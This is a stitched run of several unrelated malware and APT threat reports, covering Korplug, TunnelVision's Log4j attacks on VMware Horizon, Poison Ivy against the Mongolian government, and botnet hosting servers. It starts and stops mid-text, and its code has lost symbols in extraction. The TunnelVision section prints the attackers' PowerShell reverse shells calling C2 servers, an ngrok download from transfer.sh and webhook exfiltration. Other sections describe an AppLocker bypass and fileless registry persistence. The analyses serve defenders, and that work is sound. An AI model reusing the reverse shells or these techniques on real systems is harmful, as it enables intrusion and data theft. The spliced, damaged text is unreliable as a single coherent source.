54.0899567089 Registrant Email: woffg89yahoo.com Taking these CCs as a starting point, we were able to locate a number of victims infected through various exploit-laden spear-phishing documents and cunningly-named archives.
A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is shown below: File name English translation SHA1 Situation Report about Afghan.doc 36119221826D0290BC23371B55A8C0E6A84718DD AGREEMENT BETWEENTHE NATO AND AFGHANISTAN ON THE STATUS OF NATO FORCES IN AFGHANISTAN.doc A6642BC9F3425F0AB93D462002456BE231BB5646 news.doc 51CDC273B5638E06906BCB700335E288807744B5    2014 .scr Activity plan for military units in the Volga region in July 2014 EA6EE9EAB546FB9F93B75DCB650AF22A95486391  .scr Telephone directory of the Ministry of Foreign Affairs of the Kyrgyz Republic D297DC7D29E42E8D37C951B0B11629051EEBE9C0   .scr About the Center for social adaptation of servicemen 8E5E19EBE719EBF7F8BE4290931FFA173E658CB8  .scr Meeting minutes of the General Staff of the PRC 1F726E94B90034E7ABD148FE31EBA08774D1506F  .scr Corrected action plan template A9C627AA09B8CC50A83FF2728A3978492AEB79D8 Situation Report about Afghan.scr A9C627AA09B8CC50A83FF2728A3978492AEB79D8 -  Military and political situation in Islamic Republic of E32081C56F39EA14DFD1E449C28219D264D80B2F 04.10.2014.scr Afghanistan (IRA) on 04.10.2014 Afghan Air Force.scr E32081C56F39EA14DFD1E449C28219D264D80B2F .scr Action plan 1F726E94B90034E7ABD148FE31EBA08774D1506F Some of the above-mentioned files also contained decoy documents: In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug trojan being loading into memory.
exe  a legitimate executable with a Kaspersky digital signature that would load a DLL with a specific file name http://www.welivesecurity.com/wp-content/uploads/2014/11/Decoy-document.jpg http://www.welivesecurity.com/wp-content/uploads/2014/11/process.jpg dll  a small DLL loader that would pass execution to the Korplug raw binary code dll.avp  raw Korplug binary The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables and is a way to stay under the radar, since a trusted application with a valid signature among startup items is less likely to raise suspicion.
The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability in Microsoft Word.
The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha push ebp mov ebp, esp).
Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively used in targeted attacks carried out by a number other malware families this year (including BlackEnergy, Sednit, MiniDuke, and others).
However, this exploit is not implemented correctly due to a wrong file offset in the 1st stage shellcode.
Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag p11 marking the beginning of the 2nd stage shellcode and loads it into memory.
Even though the tag and 2nd stage shellcode is present in the RTF, its at a different offset, and thus never is loaded.
Sophos Gabor Szappanos gives a possible explanation how these malformed samples may have come into http://www.welivesecurity.com/wp-content/uploads/2014/11/Final-pic.jpg http://www.welivesecurity.com/2014/09/22/back-in-blackenergy-2014/ http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ http://www.welivesecurity.com/wp-content/uploads/2014/11/Loaded.jpg http://www.sophos.com/en-us/medialibrary/PDFs/technical20papers/sophos-rotten-tomato-campaign.pdf existence.
ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least June 2014 and continue through today.
We were able to pinpoint the targets to residents of the following countries: Afghanistan Tajikistan Russia Kyrgyzstan Kazakhstan From the topics of the files used to spread the malware, as well as from the affected targets, it appears that the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and diplomatic subjects.
Interestingly, most of the affected victims have another thing in common  a number of other RATs, file stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection.
One of these alternative RATs was connecting to a domain also used by the Korplug samples.
Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering whether the attackers were just experimenting with different RATs or were they supplementing some functionality that they were unable to accomplish.
Additional information about two malware families that were most often found accompanying Korplug infections is given below.
Alternative Malware 1: DarkStRat A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens to are in Spanish (translation in English): CERRAR (close) DESINSTALAR (uninstall) SERVIDOR (server) INFO MAININFO PING REBOOT POWEROFF PROC KILLPROC VERUNIDADES (see units) LISTARARCHIVOS (list files) EXEC DELFILE DELFOLDER RENAME MKDIR CAMBIOID (change ID) GETFILE/SENDFILE/RESUMETRANSFER SHELL SERVICIOSLISTAR (list service) INICIARSERVICIO (start service) DETENERSERVICIO (stop service) BORRARSERVICIO (erase service) INSTALARSERVICIO (install service) The malware can manage processes and services on the infected machine, transfer files to and from the CC server, run shell commands, and so on.
It is written in Delphi and connects to www.dicemention.com.
Some samples contain a digital signature by Nanning weiwu Technology co.,ltd.
Alternative Malware 2: File Stealer This malware, written in C, and contains several functions for harvesting files off the victims hard drive according to criteria set in the configuration file.
Apart from doing a recursive sweep of all logical fixed and remote drives, it also continually monitors any attached removable media or network shares by listening to DBT_DEVICEARRIVAL events.
In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs, account information and proxy information from the following applications: Microsoft Messenger Microsoft Outlook Microsoft Internet Explorer Mozilla Firefox The CC domains used by this malware are: http://msdn.microsoft.com/en-us/library/windows/desktop/aa36320528vvs.8529.aspx newvinta.com worksware.net Some samples of this file stealer detected in these campaigns also contain the signature by Nanning weiwu Technology co.,ltd  another indicator that the infections are related.
List of SHA1 hashes: Korplug: 5DFA79EB89B3A8DDBC55252BD330D04D285F9189 095550E3F0E5D24A59ADD9390E6E17120039355E 5D760403108BDCDCE5C22403387E89EDC2694860 05BFE122F207DF7806EB5E4CE69D3AEC26D74190 548577598A670FFD7770F01B8C8EEFF853C222C7 530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62 F6CB6DB20AA8F17769095042790AEB60EECD58B0 EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F 17CA3BBDDEF164E6493F32C952002E34C55A74F2 973EA910EA3734E45FDE304F20AB6CF067456551 47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67 0B5A7E49987EF2C320864CF205B7048F7032300D E81E0F416752B336396294D24E639AE86D9C6BAA E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90 Alternative Malware 1: FDD41EB3CBB631F38AC415347E25926E3E3F09B6 457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD 5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20 7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4 D7D130B8CC9BEA51143F28820F08068521763494 01B4B92D5839ECF3130F5C69652295FE4F2DA0C5 02C38EC1C67098E1F6854D1125D3AED6268540DE Alternative Malware 2: 3A7FB6E819EEC52111693219E604239BD25629E9 BF77D0BA7F3E60B45BD0801979B12BEA703B227B 55EF67AFA2EC2F260B046A901868C48A76BC7B72 A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2 34754E8B410C9480E1ADFB31A4AA72419056B622 17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F 6D99ACEA8323B8797560F7284607DB08ECA616D8 1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C 1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE 5860C99E5065A414C91F51B9E8B779D10F40ADC4 7950D5B57FA651CA6FA9180E39B6E8CC1E65B746 Research by: Anton Cherepanov Author Robert Lipovsky, ESET https://plus.google.com/u/0/113721996266516866756/posts
1/5 Amitai Ben Shushan Ehrlich Log4j2 In The Wild  Iranian-Aligned Threat Actor TunnelVision Actively Exploiting VMware Horizon sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon By Amitai Ben Shushan Ehrlich and Yair Rigevsky Executive Summary SentinelLabs has been tracking the activity of an Iranian-aligned threat actor operating in the Middle-East and the US.
Due to the threat actors heavy reliance on tunneling tools, as well as the unique way it chooses to widely deploy those, we track this cluster of activity as TunnelVision.
Much like other Iranian threat actors operating in the region lately, TunnelVisions activities were linked to deployment of ransomware, making the group a potentially destructive actor.
Overview TunnelVision activities are characterized by wide-exploitation of 1-day vulnerabilities in target regions.
During the time weve been tracking this actor, we have observed wide exploitation of Fortinet FortiOS (CVE-2018-13379), Microsoft Exchange (ProxyShell) and recently Log4Shell.
In almost all of those cases, the threat actor deployed a tunneling tool wrapped in a unique fashion.
The most commonly deployed tunneling tools used by the group are Fast Reverse Proxy Client (FRPC) and Plink.
https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/ 2/5 TunnelVision activities are correlated to some extent with parts of Microsofts Phosphorus, as discussed further in the Attribution section.
In this post, we highlight some of the activities we recently observed from TunnelVision operators, focusing around exploitation of VMware Horizon Log4j vulnerabilities.
VMware Horizon Exploitation The exploitation of Log4j in VMware Horizon is characterized by a malicious process spawned from the Tomcat service of the VMware product ( C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe ).
TunnelVision attackers have been actively exploiting the vulnerability to run malicious PowerShell commands, deploy backdoors, create backdoor users, harvest credentials and perform lateral movement.
Typically, the threat actor initially exploits the Log4j vulnerability to run PowerShell commands directly, and then runs further commands by means of PS reverse shells, executed via the Tomcat process.
PowerShell Commands TunnelVision operators exploited the Log4j vulnerability in VMware Horizon to run PowerShell commands, sending outputs back utilizing a webhook.
In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server: try (New-Object System.
Net.
WebClient).DownloadFile(hxxp://transfer.sh/uSeOFn/ngrok.exe,C:\\Users\Pu Rename-Item c://Users//public//new.txt microsoft.exe aiex dir c://Users//public//  Out-String iwr -method post -body a https://webhook.site/RANDOM-GUID -UseBasicParsing catch iwr -method post -body Error[0] https://webhook.site/RANDOM-GUID - UseBasicParsing  Throughout the activity the usage of multiple legitimate services was observed.
Given an environment is compromised by TunnelVision, it might be helpful to look for outbound connections to any of those legitimate public services: transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com https://ngrok.com/ 3/5 Reverse Shell 1 c p r u  hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS wc  New-Object System.
Net.
WebClient li  (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0] c  whoami c  Write-Host  c r  (gcm ke-e) c  Out-String  c:\programdata\env:COMPUTERNAME-li ur  wc.
UploadFile(u/phppost.php , c:\programdata\env:COMPUTERNAME-li) while(true)  c  wc.
DownloadString(u/env:COMPUTERNAME-li/123.txt) c  Write-Host  c if(c -ne p)  r  (gcm ke-e) c  Out-String  c:\programdata\env:COMPUTERNAME-li p  c ur  wc.
UploadFile(u/phppost.php , c:\programdata\env:COMPUTERNAME-li)  sleep 3  Reverse Shell 1 was used in the past by TunnelVision operators (7feb4d36a33f43d7a1bb254e425ccd458d3ea921), utilizing a different C2 server: hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS.
This C2 was referenced in several articles analyzing TunnelVision activities.
Throughout the activity the threat actor leveraged another domain, service- management[.
]tk , used to host malicious payloads.
According to VirusTotal, this domain was also used to host a zip file (d28e07d2722f771bd31c9ff90b9c64d4a188435a) containing a custom backdoor (624278ed3019a42131a3a3f6e0e2aac8d8c8b438).
The backdoor drops an additional executable file (e76e9237c49e7598f2b3f94a2b52b01002f8e862) to ProgramData\Installed Packages\InteropServices.exe  and registers it as a service named InteropServices.
The dropped executable contains an obfuscated version of the reverse shell as described above, beaconing to the same C2 server ( www[.]microsoft-updateserver[.
]cf ).
Although it is not encrypted, it is deobfuscated and executed in a somewhat similar manner to how PowerLess, another backdoor used by the group, executes its PowerShell payload.
Reverse Shell 2 https://news.sophos.com/en-us/2021/11/18/new-ransomware-actor-uses-password-protected-archives-to-bypass-encryption-protection/ https://www.cybereason.com/blog/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage 4/5 hst  51.89.135.142 prt  443 function watcher() limit  (Get - Random  - Minimum 3  - Maximum 7) stopWatch  New - Object  - TypeName System.
Diagnostics.
Stopwatch timeSpan  New - TimeSpan  - Seconds limit stopWatch.
Start() while (((stopWatch.
Elapsed).TotalSeconds  - lt timeSpan.
TotalSeconds) ) stopWatch.
Stop()  watcher arr  New - Object int[] 500 for (i  0 i  - lt 99 i) arr[i]  (Get - Random  - Minimum 1  - Maximum 25)  if (arr[0]  - gt 0) valksdhfg  New - Object System.
Net.
Sockets.
TCPClient(hst, prt) banljsdfn  valksdhfg.
GetStream() [byte[]]bytes  0..65535 0  while ((i  banljsdfn.
Read(bytes, 0, bytes.
Length))  - ne 0) lkjnsdffaa  (New - Object  - TypeName System.
Text.
ASCIIEncoding).GetString(bytes, 0, i) nsdfgsahjxx  ((gcm(ke-exp)) lkjnsdffaa 2  1  Out - String ) nsdfgsahjxx2  nsdfgsahjxx    (pwd).Path sendbyte  ([text.encoding]::ASCII).GetBytes(nsdfgsahjxx2) banljsdfn.
Write(sendbyte, 0, sendbyte.
Length) banljsdfn.
Flush() watcher  valksdhfg.
Close()  Most of the online activities we observed were performed from this PowerShell backdoor.
It seems to be a modified variant of a publicly available PowerShell one-liner.
Among those activities were: Execution of recon commands.
Creation of a backdoor user and adding it to the administrators group.
Credential harvesting using Procdump, SAM hive dumps and comsvcs MiniDump.
Download and execution of tunneling tools, including Plink and Ngrok, used to tunnel RDP traffic.
Execution of a reverse shell utilizing VMware Horizon NodeJS component[1,2].
Internal subnet RDP scan using a publicly available port scan script.
Throughout the activity, the threat actor utilized a github repository VmWareHorizon of an account owned by the threat actor, using the name protections20.
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1 https://www.sprocketsecurity.com/blog/crossing-the-log4j-horizon-a-vulnerability-with-no-return https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/ https://github.com/InfosecMatter/Minimalistic-offensive-security-tools/blob/master/port-scan-tcp.ps1 5/5 Attribution TunnelVision activities have been discussed previously and are tracked by other vendors under a variety of names, such as Phosphorus (Microsoft) and, confusingly, either Charming Kitten or Nemesis Kitten (CrowdStrike).
This confusion arises since activity that Microsoft recognizes as a single group, Phosphorous, overlaps with activity that CrowdStrike distinguishes as belonging to two different actors, Charming Kitten and Nemesis Kitten.
We track this cluster separately under the name TunnelVision.
This does not imply we believe they are necessarily unrelated, only that there is at present insufficient data to treat them as identical to any of the aforementioned attributions.
Indicators of Compromise TYPE INDICATOR NOTES Domain www[.
]microsoft- updateserver[.
]cf Command and Control (C2) Server Domain www[.]service-management[.
]tk Payload server IP 51.89.169[.
]198 Command and Control (C2) Server IP 142.44.251[.
]77 Command and Control (C2) Server IP 51.89.135[.
]142 Command and Control (C2) Server IP 51.89.190[.
]128 Command and Control (C2) Server IP 51.89.178[.
]210 Command and Control (C2) Server, Tunneling Server IP 142.44.135[.
]86 Tunneling Server IP 182.54.217[.
]2 Payload Server Github Account https://github.com/protections20 Account utilized to host payloads
Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html Introduction FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government.
Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy, a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and video capture, file transfers, password theft, system administration, traffic relaying, and more.
The threat actors behind this attack demonstrated some interesting techniques, including: 1.
Customized evasion based on victim profile  The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems.
2.
Fileless execution and persistence  In targeted campaigns, threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination.
The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files.
3.
Decoy documents  This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity.
Attack Cycle The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload.
The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process.
The malicious payload was spread across multiple PowerShell scripts, making its execution difficult to trace.
Rather than being written to disk as individual script files, the PowerShell payloads were stored in the registry.
Figure 1 shows the stages of the payload execution from the malicious macro.
1/10 https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf Figure 1: Stages of payload execution used in this attack Social Engineering and Macro-PowerShell Level 1 Usage Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal.
When a targeted user opens the malicious document, they are presented with the messages shown in Figure 2, asking them to enable macros.
2/10 Figure 2: Lure suggesting the user to enable Macros to see content Bypassing Application Whitelisting Script Protections (AppLocker) Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system.
In April 2016, a security researcher demonstrated a way to bypass this using regsvr32.exe, a legitimate Microsoft executable permitted to execute in many AppLocker policies.
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument.
This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file.
We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to it which was hosting a malicious SCT file, as seen in Figure 3.
3/10 https://github.com/subTee/SCTPersistence/blob/master/Backdoor.sct Figure 3:  Command after de-obfuscation to bypass AppLocker via regsv32.exe Figure 4 shows the entire command line parameter used to bypass AppLocker.
Figure 4: Command line parameter used to bypass AppLocker We found that the malicious SCT file invokes WScript to launch PowerShell in hidden mode with an encoded command, as seen in Figure 5.
Figure 5: Content of SCT file containing code to launch encoded PowerShell Decoding SCT: Decoy launch and Stage Two PowerShell After decoding the PowerShell command, we observed another layer of PowerShell instructions, which served two purposes: 1.
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet.
When the victim enables macros, they will see the decoy document shown in Figure 6.
This document contains the content described in the spear phishing email.
4/10 Figure 6: Decoy downloaded and launched on the victims screen 2.
After launching the decoy document in the second winword.exe process, the PowerShell script downloads and runs another PowerShell script named f0921.ps1 as shown in Figure 7.
Figure 7: PowerShell to download and run decoy decoy document and third-stage payload Third Stage PowerShell Persistence The third stage PowerShell script configures an encoded PowerShell command persistently as base64 string in the HKCU: \Console\FontSecurity registry key.
Figure 8 shows a portion of the PowerShell commands for writing this value to the registry.
5/10 Figure 8: Code to set registry with encoded PowerShell script Figure 9 shows the registry value containing encoded PowerShell code set on the victims system.
Figure 9: Registry value containing encoded PowerShell script Figure 10 shows that using Start-Process, PowerShell decodes this registry and runs the malicious code.
Figure 10: Code to decode and run malicious content from registry The third stage PowerShell script also configures another registry value  named HKCU\CurrentVersion\Run\SecurityUpdate to launch the encoded PowerShell payload stored in the HKCU: \Console\FontSecurity key.
Figure 11 shows the code for these actions.
This will execute the PowerShell payload when the user logs in to the system.
6/10 Figure 11: PowerShell registry persistence Fourth Stage PowerShell Inject-LocalShellCode The HKCU\Console\FontSecurity registry contains the fourth stage PowerShell script, shown decoded in Figure 12.
This script borrows from the publicly available Inject-LocalShellCode PowerShell script from PowerSploit to inject shellcode.
Figure 12: Code to inject shellcode Shellcode Analysis The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4), as seen in Figure 13.
7/10 https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 Figure 13: Decryption loop and call to decrypted shellcode After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe as shown in Figure 14.
8/10 Figure 14: Code injection in userinit.exe and attempt to access Poison Ivy related DAT files In the decrypted shellcode, we also observed content and configuration related to Poison Ivy.
Correlating these bytes to the standard configuration of Poison Ivy, we can observe the following: Active setup  StubPath Encryption/Decryption key - version2013 Mutex name - 20160509 The Poison Ivy configuration dump is shown in Figure 15.
9/10 Figure 15: Poison Ivy configuration dump Conclusion Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns.
Through the use of PowerShell and publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host.
FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here.
It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload.
HX also contains generic detections for the registry persistence, AppLocker bypasses and subsequent stages of PowerShell abuse used in this attack.
10/10 Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government Introduction Attack Cycle Social Engineering and Macro-PowerShell Level 1 Usage Bypassing Application Whitelisting Script Protections (AppLocker) Decoding SCT: Decoy launch and Stage Two PowerShell Third Stage PowerShell Persistence Fourth Stage PowerShell Inject-LocalShellCode Shellcode Analysis Conclusion
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use.
This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc.
While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free.
Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-12-12 Threat Advisory 1014 Page 1 of 16 Bots, Machines, and the Matrix Fidelis Threat Advisory 1014 Bots, Machines, and the Matrix Dec 12, 2014 Document Status: 1.0 Last Revised:  2014-12-11 Executive Summary In the recent past, a Fidelis XPS user reported seeing detections of what appeared to be botnet-related malware.
While that customer was protected, we at General Dynamics Fidelis Cybersecurity Solutions decided to take a closer look.
The analysis of the malicious code revealed that it appeared to be Andromeda but the delivery infrastructure looked interesting.
Further telemetry from our sensors showed that this server in China was also hosting and distributing many other malicious specimens.
Analysis of the data revealed a pattern in the filenames.
Our analysts used this pattern to discover other systems distributed across the globe serving up various botnet malware, so far assumed to be used in distinct campaigns but clearly related in this case: - Andromeda - Beta Bot - Neutrino Bot - NgrBot/DorkBot Analysis also showed how attackers continue to benefit from the use of globally-distributed hosting providers to perform their malicious activities.
Further, the analysis revealed how attackers are hosting and distributing identical copies of the malware from servers in different countries including China, Poland, Russia, and the United States.
For the period of time researched in this activity, we observed the following targeted sectors in the US: - Manufacturing / Biotechnology  Drugs - Professional Services / Engineering - Information Technology / Telecommunications - Government / State Note that our footprint is largely in the Enterprise space and it is possible that were seeing spillover from wider campaigns.
This document uncovers various servers hosting Bots and other related malware, provides a triage analysis of various pieces of malware hosted by these malicious servers, and provides indicators that network defenders can use to protect their networks.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 2 of 16       Bots, Machines, and the Matrix Threat Overview The threat activity observed in the past weeks against various targets in our customer base has shown patterns that allowed us to discover multiple servers hosting and distributing malicious software (Bots).
As it is known by the network defenders and the security community, it is important to defend against these attacks since systems infected with these malicious specimens could be used for credential theft, Distributed Denial of Service Attacks, spreading malware, lateral propagation, etc.
This is of great concern as the first stage attack continues to bypass network security defenses infecting users computers that beacon to malicious servers to download or create the second stage malware into the victim systems.
Some of the main Bot types of malware detected through this research include: - Andromeda Andromeda is a modular bot that downloads modules and updates from its command and control (CC) server during execution.
The malware has both anti-VM and anti-reversing features.
Its code is obfuscated to make it more difficult for malware reverse engineers to analyze and antivirus tools to detect.
Andromeda bot features include: self-propagation, injection into trusted processes to hide itself, network traffic encryption, download and installation of files/malware, form grabber, keylogger, ring3 rootkit, proxy, etc.
Features like form grabber, rootkit, and proxy are delivered to the malware in the form of modules that are then loaded into the victim system after the malware makes a connection with its CC.
It appears that in 2012, some of the modules were sold for 500 (form grabber), 300 (Ring3 rootkit), and 200 (keylogger).
-
DorkBot/NgrBot DorkBot is a modified IRCBot that is very similar in features to NgrBot.
DorkBot has a loader and a module.
The bot includes the following features: process injection, hard drive wiping, etc.
Different from NgrBot, DorkBot uses modified IRC commands.
Some of the commands supported include: die, dl, http.inj, logins, rc,speed, ssyn, stop, up, and udp.
NgrBot can also be remotely controlled via Internet-Relay-Chat (IRC) protocol.
It has capabilities to join different IRC channels to perform various attacks according to the IRC-based commands from the CC server.
Its code is obfuscated to make it more difficult for malware reverse engineers to analyze and antivirus tools to detect.
NgrBot features include: self-propagation (e.g.
through USB removable drives, social networking sites, and messaging clients), process injection, hard drive wiping, blocking access to multiple antivirus/security vendor websites, denial of service attacks, credentials stealing (usernames and passwords), download and execute file, etc.
Some of the commands supported are:  pu, dw, http.inj, logins, rc, speed, ssyn, stop, and udp.
-
Beta Bot It is said that Beta bot started out as an HTTP bot.
The Bot is also known by some security vendors as Trojan.
Neurevt.
Its code is obfuscated to make it more difficult for malware reverse engineers to analyze and antivirus tools to detect.
Beta bot features include: anti-VM and anti-reversing, self-propagation, rootkit, process injection, blocking access to multiple antivirus/security vendor websites, AV-disabling, form grabbing, download and execution of files, termination of competing malware communications by terminating their processes or blocking their code injections, and denial of service.
It appears that www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 3 of 16       Bots, Machines, and the Matrix in May 2013, the pre-built bot could be purchase for 320-500, and 20 for variant rebuilds for those requiring configuration changes.
According to online research, Beta Bot sales are being handled by Lord Huron, although betamonkey appears to be the author.
The following image was found during online research: - Neutrino The Neutrino bot was advertised as an HTTP stress-testing tool.
It has some of the following features: anti-VM and anti-reversing/debugging, denial of service (HTTP/TCP/UDP flood), keylogger, command shell, credential stealing, self-spreading, etc.
It appears at some point the bot was sold for 550 (Builder), 200 (Full set including Bot and Admin Panel), and 20 (Update).
Online research revealed the following contact information for this bot: n3utrinokaddafi[.
]me / n3utrinoxmpp[.
]jp / n3utrino.blog[.
]com.
The following images were found during online research: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 4 of 16       Bots, Machines, and the Matrix The following table provides information about some of the servers hosting and distributing malware and some of the filename patterns discovered: Last Observed IP Location Filename Pattern December 2014 121.11.83[.
]7 China and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe December 2014 155.133.18[.
]45 Poland bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe [3_digits][single character][1_digit].exe [2_digits][single character][1_digit].exe December 2014 54.69.90[.
]62 US (Amazon) and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe dq[2_digits][single character][2_digits].exe dqnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe November 2014 117.21.191[.
]47 China and[2_digits][single character][2_digits].exe and[single character][1_digit].exe bet[2_digits][single character][2_digits].exe bet[1_or_2_digits].exe bet[single character][1_digit].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe November 2014 121.14.212[.
]184 China and[2_digits][single character][2_digits].exe and[2_digits].exe and[2_digits][single character].exe bet[2_digits][single character][2_digits].exe bet[2_digits].exe ng[2_digits][single character][2_digits].exe ng[2_digits].exe nut[2_digits][single character][2_digits].exe nut[2_digits].exe nut[2_digits][single character].exe zpm[2_digits][single character].exe November 2014 155.133.18[.
]44 Poland 3307[2_digits][single character][2_digits].exe and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 5 of 16       Bots, Machines, and the Matrix November 2014 54.68.121[.
]73 US (Amazon) and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe November 2014 54.68.194[.
]154 US (Amazon) and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe November 2014 54.69.90[.
]62 US (Amazon) 3307[2_digits][single character][2_digits].exe and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe October 2014 119.1.109[.
]44 China and[2_digits][single character][2_digits].exe and[2_digits].exe bet[2_digits][single character].exe bet[2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits].exe October 2014 158.255.1[.
]241 Russia and[2_digits].exe ng[2_digits]exe nut[2_digits][single character][2_digits].exe nut[2_digits].exe October 2014 54.191.142[.
]124 US (Amazon) bnew[2_digits].exe ng[2_digits].exe nut[2_digits].exe zpm[2_digits].exe The following table provides information about the relationship between the malicious servers, detection names by antivirus tools, and vertical market affected (based on unique hashes and detections): IP Location Generic AV detection Vertical Market/Specialization 121.11.83[.
]7 China Worm.
Win32.Ngrbot Worm.
Win32.Dorkbot Professional Services/Engineering www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 6 of 16       Bots, Machines, and the Matrix Backdoor.
Win32.Ruskill Trojan.
Win32.Yakes Trojan.
Win32.Munchies 155.133.18[.
]45 Poland Backdoor.
Win32.Androm Trojan.
Win32.Lethic Trojan.
Win32.Inject Trojan.
Win32.Munchies Trojan.
Win32.Yakes 54.69.90[.
]62 US (Amazon) Backdoor.
Win32.Androm Worm.
Win32.Ngrbot Worm.
Win32.Dorkbot Backdoor.
Win32.Ruskill Trojan.
Win32.Lethic Trojan.
Win32.Yakes Trojan.
Win32.Munchies 117.21.191[.
]47 China Backdoor.
